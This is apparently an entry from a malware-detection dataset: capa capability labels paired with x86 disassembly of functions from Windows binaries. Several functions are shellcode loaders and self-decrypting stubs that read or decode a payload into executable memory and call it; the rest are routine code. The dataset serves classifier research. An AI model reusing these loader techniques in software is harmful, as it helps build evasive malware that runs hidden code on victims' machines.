joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10328ae0
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [0x10328850]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
movdqa xmm7, xmmword [ebp + 0x20]
test edx, 7
jne 0x10328c50
test edx, 0xf
je 0x10328b27
movq xmm0, qword [eax]
pxor xmm0, xmm7
movq qword [edx], xmm0
add eax, 8
add edx, 8
dec ecx
jle 0x10328c4e
jmp 0x10328b04
sub ecx, 8
jl 0x10328c34
test eax, 7
jne 0x10328bf3
test eax, 8
jne 0x10328bf3
movdqa xmm0, xmmword [eax]
pxor xmm0, xmm7
movdqa xmm1, xmmword [eax + 0x10]
pxor xmm1, xmm7
movdqa xmm2, xmmword [eax + 0x20]
pxor xmm2, xmm7
movdqa xmm3, xmmword [eax + 0x30]
add eax, 0x40
pxor xmm3, xmm7
movdqa xmmword [edx], xmm0
movdqa xmmword [edx + 0x10], xmm1
movdqa xmmword [edx + 0x20], xmm2
movdqa xmmword [edx + 0x30], xmm3
add edx, 0x40
sub ecx, 8
jge 0x10328b46
jmp 0x10328c34
lddqu xmm0, xmmword [eax]
pxor xmm0, xmm7
lddqu xmm1, xmmword [eax + 0x10]
pxor xmm1, xmm7
lddqu xmm2, xmmword [eax + 0x20]
pxor xmm2, xmm7
lddqu xmm3, xmmword [eax + 0x30]
add eax, 0x40
pxor xmm3, xmm7
movdqa xmmword [edx], xmm0
movdqa xmmword [edx + 0x10], xmm1
movdqa xmmword [edx + 0x20], xmm2
movdqa xmmword [edx + 0x30], xmm3
add edx, 0x40
sub ecx, 8
jge 0x10328bf3
add ecx, 8
je 0x10328c4e
movq xmm0, qword [eax]
pxor xmm0, xmm7
movq qword [edx], xmm0
add eax, 8
add edx, 8
dec ecx
jne 0x10328c39
pop ebp
ret
test edx, 3
jne 0x10328c39
movd xmm0, dword [eax]
movd dword [edx], xmm0
movq xmm0, qword [eax + ecx*8 - 8]
pxor xmm0, xmm7
movq qword [edx + ecx*8 - 8], xmm0
add eax, 4
add edx, 4
dec ecx
je 0x10328c4e
psrlq xmm7, 0x20
jmp 0x10328b04
Function at 0x103294a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [0x10329210]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
movdqa xmm7, xmmword [ebp + 0x20]
test edx, 7
jne 0x10329610
test edx, 0xf
je 0x103294e7
movq xmm0, qword [eax]
pxor xmm0, xmm7
movq qword [edx], xmm0
add eax, 8
add edx, 8
dec ecx
jle 0x1032960e
jmp 0x103294c4
sub ecx, 8
jl 0x103295f4
test eax, 7
jne 0x103295b3
test eax, 8
jne 0x103295b3
movdqa xmm0, xmmword [eax]
pxor xmm0, xmm7
movdqa xmm1, xmmword [eax + 0x10]
pxor xmm1, xmm7
movdqa xmm2, xmmword [eax + 0x20]
pxor xmm2, xmm7
movdqa xmm3, xmmword [eax + 0x30]
add eax, 0x40
pxor xmm3, xmm7
movdqa xmmword [edx], xmm0
movdqa xmmword [edx + 0x10], xmm1
movdqa xmmword [edx + 0x20], xmm2
movdqa xmmword [edx + 0x30], xmm3
add edx, 0x40
sub ecx, 8
jge 0x10329506
jmp 0x103295f4
lddqu xmm0, xmmword [eax]
pxor xmm0, xmm7
lddqu xmm1, xmmword [eax + 0x10]
pxor xmm1, xmm7
lddqu xmm2, xmmword [eax + 0x20]
pxor xmm2, xmm7
lddqu xmm3, xmmword [eax + 0x30]
add eax, 0x40
pxor xmm3, xmm7
movdqa xmmword [edx], xmm0
movdqa xmmword [edx + 0x10], xmm1
movdqa xmmword [edx + 0x20], xmm2
movdqa xmmword [edx + 0x30], xmm3
add edx, 0x40
sub ecx, 8
jge 0x103295b3
add ecx, 8
je 0x1032960e
movq xmm0, qword [eax]
pxor xmm0, xmm7
movq qword [edx], xmm0
add eax, 8
add edx, 8
dec ecx
jne 0x103295f9
pop ebp
ret
test edx, 3
jne 0x103295f9
movd xmm0, dword [eax]
movd dword [edx], xmm0
movq xmm0, qword [eax + ecx*8 - 8]
pxor xmm0, xmm7
movq qword [edx + ecx*8 - 8], xmm0
add eax, 4
add edx, 4
dec ecx
je 0x1032960e
psrlq xmm7, 0x20
jmp 0x103294c4
Function at 0x10329ba0
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [0x10329910]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
movdqa xmm7, xmmword [ebp + 0x20]
test edx, 7
jne 0x10329d10
test edx, 0xf
je 0x10329be7
movq xmm0, qword [eax]
pxor xmm0, xmm7
movq qword [edx], xmm0
add eax, 8
add edx, 8
dec ecx
jle 0x10329d0e
jmp 0x10329bc4
sub ecx, 8
jl 0x10329cf4
test eax, 7
jne 0x10329cb3
test eax, 8
jne 0x10329cb3
movdqa xmm0, xmmword [eax]
pxor xmm0, xmm7
movdqa xmm1, xmmword [eax + 0x10]
pxor xmm1, xmm7
movdqa xmm2, xmmword [eax + 0x20]
pxor xmm2, xmm7
movdqa xmm3, xmmword [eax + 0x30]
add eax, 0x40
pxor xmm3, xmm7
movdqa xmmword [edx], xmm0
movdqa xmmword [edx + 0x10], xmm1
movdqa xmmword [edx + 0x20], xmm2
movdqa xmmword [edx + 0x30], xmm3
add edx, 0x40
sub ecx, 8
jge 0x10329c06
jmp 0x10329cf4
lddqu xmm0, xmmword [eax]
pxor xmm0, xmm7
lddqu xmm1, xmmword [eax + 0x10]
pxor xmm1, xmm7
lddqu xmm2, xmmword [eax + 0x20]
pxor xmm2, xmm7
lddqu xmm3, xmmword [eax + 0x30]
add eax, 0x40
pxor xmm3, xmm7
movdqa xmmword [edx], xmm0
movdqa xmmword [edx + 0x10], xmm1
movdqa xmmword [edx + 0x20], xmm2
movdqa xmmword [edx + 0x30], xmm3
add edx, 0x40
sub ecx, 8
jge 0x10329cb3
add ecx, 8
je 0x10329d0e
movq xmm0, qword [eax]
pxor xmm0, xmm7
movq qword [edx], xmm0
add eax, 8
add edx, 8
dec ecx
jne 0x10329cf9
pop ebp
ret
test edx, 3
jne 0x10329cf9
movd xmm0, dword [eax]
movd dword [edx], xmm0
movq xmm0, qword [eax + ecx*8 - 8]
pxor xmm0, xmm7
movq qword [edx + ecx*8 - 8], xmm0
add eax, 4
add edx, 4
dec ecx
je 0x10329d0e
psrlq xmm7, 0x20
jmp 0x10329bc4
Function at 0x1032a2e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [0x1032a020]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
movdqa xmm7, xmmword [ebp + 0x20]
test edx, 7
jne 0x1032a450
test edx, 0xf
je 0x1032a327
movq xmm0, qword [eax]
pxor xmm0, xmm7
movq qword [edx], xmm0
add eax, 8
add edx, 8
dec ecx
jle 0x1032a44e
jmp 0x1032a304
sub ecx, 8
jl 0x1032a434
test eax, 7
jne 0x1032a3f3
test eax, 8
jne 0x1032a3f3
movdqa xmm0, xmmword [eax]
pxor xmm0, xmm7
movdqa xmm1, xmmword [eax + 0x10]
pxor xmm1, xmm7
movdqa xmm2, xmmword [eax + 0x20]
pxor xmm2, xmm7
movdqa xmm3, xmmword [eax + 0x30]
add eax, 0x40
pxor xmm3, xmm7
movdqa xmmword [edx], xmm0
movdqa xmmword [edx + 0x10], xmm1
movdqa xmmword [edx + 0x20], xmm2
movdqa xmmword [edx + 0x30], xmm3
add edx, 0x40
sub ecx, 8
jge 0x1032a346
jmp 0x1032a434
lddqu xmm0, xmmword [eax]
pxor xmm0, xmm7
lddqu xmm1, xmmword [eax + 0x10]
pxor xmm1, xmm7
lddqu xmm2, xmmword [eax + 0x20]
pxor xmm2, xmm7
lddqu xmm3, xmmword [eax + 0x30]
add eax, 0x40
pxor xmm3, xmm7
movdqa xmmword [edx], xmm0
movdqa xmmword [edx + 0x10], xmm1
movdqa xmmword [edx + 0x20], xmm2
movdqa xmmword [edx + 0x30], xmm3
add edx, 0x40
sub ecx, 8
jge 0x1032a3f3
add ecx, 8
je 0x1032a44e
movq xmm0, qword [eax]
pxor xmm0, xmm7
movq qword [edx], xmm0
add eax, 8
add edx, 8
dec ecx
jne 0x1032a439
pop ebp
ret
test edx, 3
jne 0x1032a439
movd xmm0, dword [eax]
movd dword [edx], xmm0
movq xmm0, qword [eax + ecx*8 - 8]
pxor xmm0, xmm7
movq qword [edx + ecx*8 - 8], xmm0
add eax, 4
add edx, 4
dec ecx
je 0x1032a44e
psrlq xmm7, 0x20
jmp 0x1032a304
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10003ebf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10003ece
pop dword [ebp - 0x18]
mov eax, 0x10003ece
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xe27bd6b7
sub dword [ebp - 0x28], 0x9429916c
mov dword [ebp - 0x24], 0x83fd3a6a
sub dword [ebp - 0x24], 0x51c9ee25
mov dword [ebp - 0x20], 0x703b046d
add dword [ebp - 0x20], 0xdc113fc1
mov dword [ebp - 0x1c], 0x9ca78c20
sub dword [ebp - 0x1c], 0x9ca78c20
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xdbcd0446
add dword [ebp - 0x28], 0x98a56510
mov dword [ebp - 0x24], 0xdf9e8af5
add dword [ebp - 0x24], 0x61cdd680
mov dword [ebp - 0x20], 0xe7821142
add dword [ebp - 0x20], 0x7bed5b2a
mov dword [ebp - 0x1c], 0x105664af
add dword [ebp - 0x1c], 0xefa99b51
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x9b2ff70c
sub eax, 0x8b2fa6cc
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x371aa
push 0
call eax
mov ecx, 0x12871c6b
sub ecx, 0x1286d289
mov edx, eax
mov edi, 0xfe3fdf64
add edi, 0x11c0d69c
add edi, dword [ebp - 0x18]
mov esi, 0x16413f6b
add esi, 0x5d2e6f6f
add dword [ebp - 8], ebx
mov ebx, dword [edi]
add dword [ebp - 0x14], ebx
sub ebx, esi
sub dword [ebp - 0x10], eax
mov dword [edx], ebx
xor dword [ebp - 4], eax
add edx, 0x4d3c3a31
sub edx, 0x4d3c3a2d
add edi, 0xdbe1b100
add edi, 0x241e4f04
loop 0x10003fe6
add eax, 0xe7100142
add eax, 0x18f11919
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x40f5e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a8
push ebx
push esi
mov ebx, 0x4848e8
call fcn.0040f580
mov esi, eax
lea eax, [esp + 0xa8]
push esi
push eax
call fcn.00413990
push esi
call fcn.004112ef
add esp, 0xc
lea esi, [esp + 0x18]
call fcn.0040f6a0
lea eax, [esp + 0xa8]
mov ecx, esi
call fcn.0040f6d0
xor ebx, ebx
mov dword [edi + 8], ebx
xor ecx, ecx
mov eax, ebx
movzx edx, byte [esp + ecx + 0x18]
add eax, edx
movzx edx, byte [esp + ecx + 0x19]
add eax, edx
movzx edx, byte [esp + ecx + 0x1a]
add eax, edx
movzx edx, byte [esp + ecx + 0x1b]
add ecx, 4
add eax, edx
cmp ecx, 0x10
jl 0x40f631
mov dword [edi + 8], eax
mov eax, dword [ebp + 8]
push 0x4876c8
push eax
call fcn.00414e06
add esp, 8
mov dword [edi], eax
cmp eax, ebx
je 0x42b2ee
push edi
call fcn.0040f450
cmp eax, ebx
je 0x42b2f8
mov ecx, dword [edi]
push ecx
mov esi, eax
call fcn.00414e94
add esp, 4
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, 1
jmp 0x40f690
mov edx, dword [edi]
push edx
push 0x10
lea eax, [esp + 0x10]
push 1
push eax
call fcn.004151b0
add esp, 0x10
push 0x9716b183
push 0x10
lea ecx, [esp + 0x10]
push ecx
call fcn.0044afdc
xor eax, eax
mov dword [edi + 8], ebx
xor ecx, ecx
movzx edx, byte [esp + eax + 8]
inc eax
imul ecx, edx
cmp eax, 0x10
jl 0x42b324
mov eax, dword [edi]
push eax
mov dword [edi + 8], ecx
call fcn.00415484
add esp, 4
mov dword [edi + 4], eax
xor eax, eax
jmp 0x40f690

Function at 0x40f6a0
Capabilities:
Hash data with md5

Disassembly:
push 8
lea eax, [esi + 0x44]
push 0
push eax
call fcn.004131f0
add esp, 0xc
mov dword [esi + 0x34], 0x67452301
mov dword [esi + 0x38], 0xefcdab89
mov dword [esi + 0x3c], 0x98badcfe
mov dword [esi + 0x40], 0x10325476
ret

Function at 0x4103e0
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x4972c8]
push esi
push 0
mov esi, dword [sym.imp.USER32.dll_CreateWindowExW]
push eax
push 0
push 0
push 0x64
push 0x12c
push accept
push accept
push 0xcf0000
push str.AutoIt_v3
push str.AutoIt_v3
push 0
call esi
mov ecx, dword [0x4972c8]
push 0
push ecx
push 1
push eax
push 0
push 0
push 0
push 0
push 0x50b008c4
push 0
push str.edit
push 0
mov dword [0x4972c0], eax
call esi
mov edx, dword [0x4972c0]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push edx
mov dword [0x4972bc], eax
call esi
mov eax, dword [0x4972c0]
push 0
push eax
call esi
pop esi
ret
Function at 0x41ffac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call dword [eax + 0x56]
push dword [ebp + 8]
call fcn.0041fb09
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0041fb54
push eax
push esi
push dword [ebp + 8]
call fcn.0041fb09
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0041fb44
stosb byte es:[edi], al
sbb al, 0xec
jge 0x41ff4f
popfd
jl 0x41ffc9
invalid
invalid

Function at 0x420a73
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax - 0x36a5b], al
inc dword [eax]
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
test dword [eax + 0x38fffffc], esp
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
invalid
invalid
invalid

Function at 0x421fa7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x490e80]
jne 0x421fb1
repz ret
jmp fcn.00426243
Function at 0x4523ce
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x430
push ebx
push ebp
push esi
mov esi, dword [esp + 0x440]
push edi
xor ebp, ebp
mov eax, dword [esi]
push eax
push 4
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.004151b0
add esp, 0x10
push 0x68411ed7
push 4
lea edx, [esp + 0x1c]
push edx
call fcn.0044afdc
lea eax, [esp + 0x14]
push 0x487704
push eax
mov byte [esp + 0x20], 0
call fcn.004151d0
add esp, 8
test eax, eax
jne 0x452562
mov ecx, dword [esi]
push ecx
push 1
lea edx, [esp + 0x18]
push 4
push edx
inc ebp
call fcn.004151b0
mov edi, dword [esp + 0x20]
mov eax, dword [esi]
push eax
xor edi, 0xe6d54ced
lea ebx, [edi + edi]
push ebx
lea ecx, [esp + 0x38]
push 1
push ecx
call fcn.004151b0
add esp, 0x20
add edi, 0x6bfa75f2
push edi
push ebx
lea edx, [esp + 0x28]
push edx
call fcn.0044afdc
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x234]
xor eax, eax
push edx
mov word [esp + ebx + 0x28], ax
call fcn.00411691
mov eax, dword [esi]
push eax
push 1
lea ecx, [esp + 0x20]
push 4
push ecx
call fcn.004151b0
mov edi, dword [esp + 0x28]
mov edx, dword [esi]
push edx
xor edi, 0xd975b8b6
lea ebx, [edi + edi]
push ebx
lea eax, [esp + 0x40]
push 1
push eax
call fcn.004151b0
add esp, 0x28
add edi, 0x52109680
push edi
push ebx
lea ecx, [esp + 0x28]
push ecx
call fcn.0044afdc
mov ecx, dword [esp + 0x44c]
lea eax, [esp + 0x20]
push eax
xor edx, edx
push ecx
mov word [esp + ebx + 0x28], dx
call fcn.00411691
mov edi, dword [esp + 0x450]
lea edx, [esp + 0x238]
push edi
push edx
call fcn.004133e4
add esp, 0x10
test eax, eax
je 0x452553
push 0x4876f8
push edi
call fcn.004133e4
add esp, 8
test eax, eax
jne 0x452510
test ebp, ebp
je 0x452553
mov eax, dword [esi]
push 1
push 1
push eax
call fcn.0041557c
mov ecx, dword [esi]
add esp, 0xc
push ecx
push 1
lea edx, [esp + 0x24]
push 4
push edx
call fcn.004151b0
mov eax, dword [esp + 0x2c]
xor eax, 0x87bc
mov dword [esp + 0x2c], eax
add eax, 0x18
push 1
push eax
mov eax, dword [esi]
push eax
call fcn.0041557c
add esp, 0x1c
jmp 0x4523e1
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x430
ret 0xc
pop edi
pop esi
pop ebp
mov eax, 6
pop ebx
add esp, 0x430
ret 0xc
Function at 0x452574
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x694
push ebx
xor ebx, ebx
push ebp
mov ebp, dword [esp + 0x6ac]
push esi
mov esi, dword [esp + 0x6a4]
mov edx, dword [esi + 4]
push edi
xor eax, eax
push ebx
mov word [esp + 0x50], ax
mov eax, dword [esi]
push edx
xor ecx, ecx
push eax
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
mov word [esp + 0x262], cx
mov dword [esp + 0x488], ebx
mov dword [esp + 0x2c], 1
call fcn.0041557c
mov edx, dword [esp + 0x6b8]
add esp, 0xc
lea ecx, [esp + 0x490]
push ecx
push edx
push esi
call fcn.004523ce
test eax, eax
je 0x45260c
lea eax, [ebx + 6]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x694
ret 0x10
mov eax, dword [esi]
push eax
push 1
lea ecx, [esp + 0x1f]
push 1
push ecx
call fcn.004151b0
mov edx, dword [esi]
push edx
push 1
lea eax, [esp + 0x30]
push 4
push eax
call fcn.004151b0
mov ecx, dword [esi]
mov edi, dword [esp + 0x38]
push ecx
push 1
lea edx, [esp + 0x40]
push 4
push edx
xor edi, 0x87bc
call fcn.004151b0
mov ecx, dword [esi]
mov eax, dword [esp + 0x48]
push ecx
push 1
lea edx, [esp + 0x50]
xor eax, 0x87bc
push 4
push edx
mov dword [ebp], eax
call fcn.004151b0
mov eax, dword [esp + 0x58]
add esp, 0x40
xor eax, 0xa685
push 1
mov dword [esp + 0x28], eax
mov eax, dword [esi]
push 0x10
push eax
call fcn.0041557c
mov ecx, dword [ebp]
add esp, 0xc
push ecx
call fcn.004138ba
add esp, 4
push edi
mov dword [esp + 0x20], eax
call fcn.004138ba
mov edx, dword [esi]
add esp, 4
push edx
push 1
mov ebp, eax
push edi
push ebp
call fcn.004151b0
mov eax, dword [esi + 8]
add esp, 0x10
add eax, 0x81d87d25
push eax
push edi
push ebp
call fcn.0044afdc
push edi
push ebp
lea ecx, [esp + 0x28]
push ecx
call fcn.0043535d
mov edx, dword [esp + 0x24]
cmp edx, dword [esp + 0x20]
je 0x4526fd
mov eax, dword [esp + 0x1c]
push eax
call fcn.00413a88
add esp, 4
push ebp
call fcn.00413a88
add esp, 4
mov eax, 0xa
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x694
ret 0x10
cmp byte [esp + 0x17], 1
jne 0x45275b
xor ecx, ecx
mov eax, 1
mov word [esp + 0x4c], cx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x28]
xor edx, edx
push ecx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov word [esp + 0x25a], dx
mov dword [esp + 0x480], ebx
mov dword [esp + 0x30], ebp
mov dword [esp + 0x2c], eax
call fcn.0044b195
push ebp
call fcn.00413a88
jmp 0x452769
mov edx, dword [esp + 0x1c]
push edx
call fcn.00413a88
mov dword [esp + 0x20], ebp
mov eax, dword [esp + 0x6b4]
mov ecx, dword [esp + 0x20]
add esp, 4
pop edi
pop esi
pop ebp
mov dword [eax], ecx
xor eax, eax
pop ebx
add esp, 0x694
ret 0x10
Function at 0x402ab8
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040461c
test esi, esi
jne 0x402aee
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040470c
jmp 0x402b0c
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004029cc
mov edi, eax
test esi, esi
je 0x402b0c
cmp dword [ebx], 0
je 0x402b0c
dec esi
jmp 0x402af5
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4030d0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x560008], 0x8088405
inc edx
mov dword [ebx + 0x560008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403660
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x560010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4036f8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4036d8
xor eax, eax
push ebp
push 0x4036d1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403714
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4036d8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x560010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x560010], ax
mov esp, ebp
pop ebp
ret

Function at 0x4043fc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x56504c], 0
je 0x40445d
cmp word [0x565220], 0xd7b2
jne 0x404425
cmp dword [0x565228], 0
jbe 0x404425
mov eax, 0x56521c
call dword [0x565238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x560058
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404484
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x560020], 0
jne 0x404479
push 0
push 0x560078
push 0x560058
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4045d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402790
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x56504d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404598
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc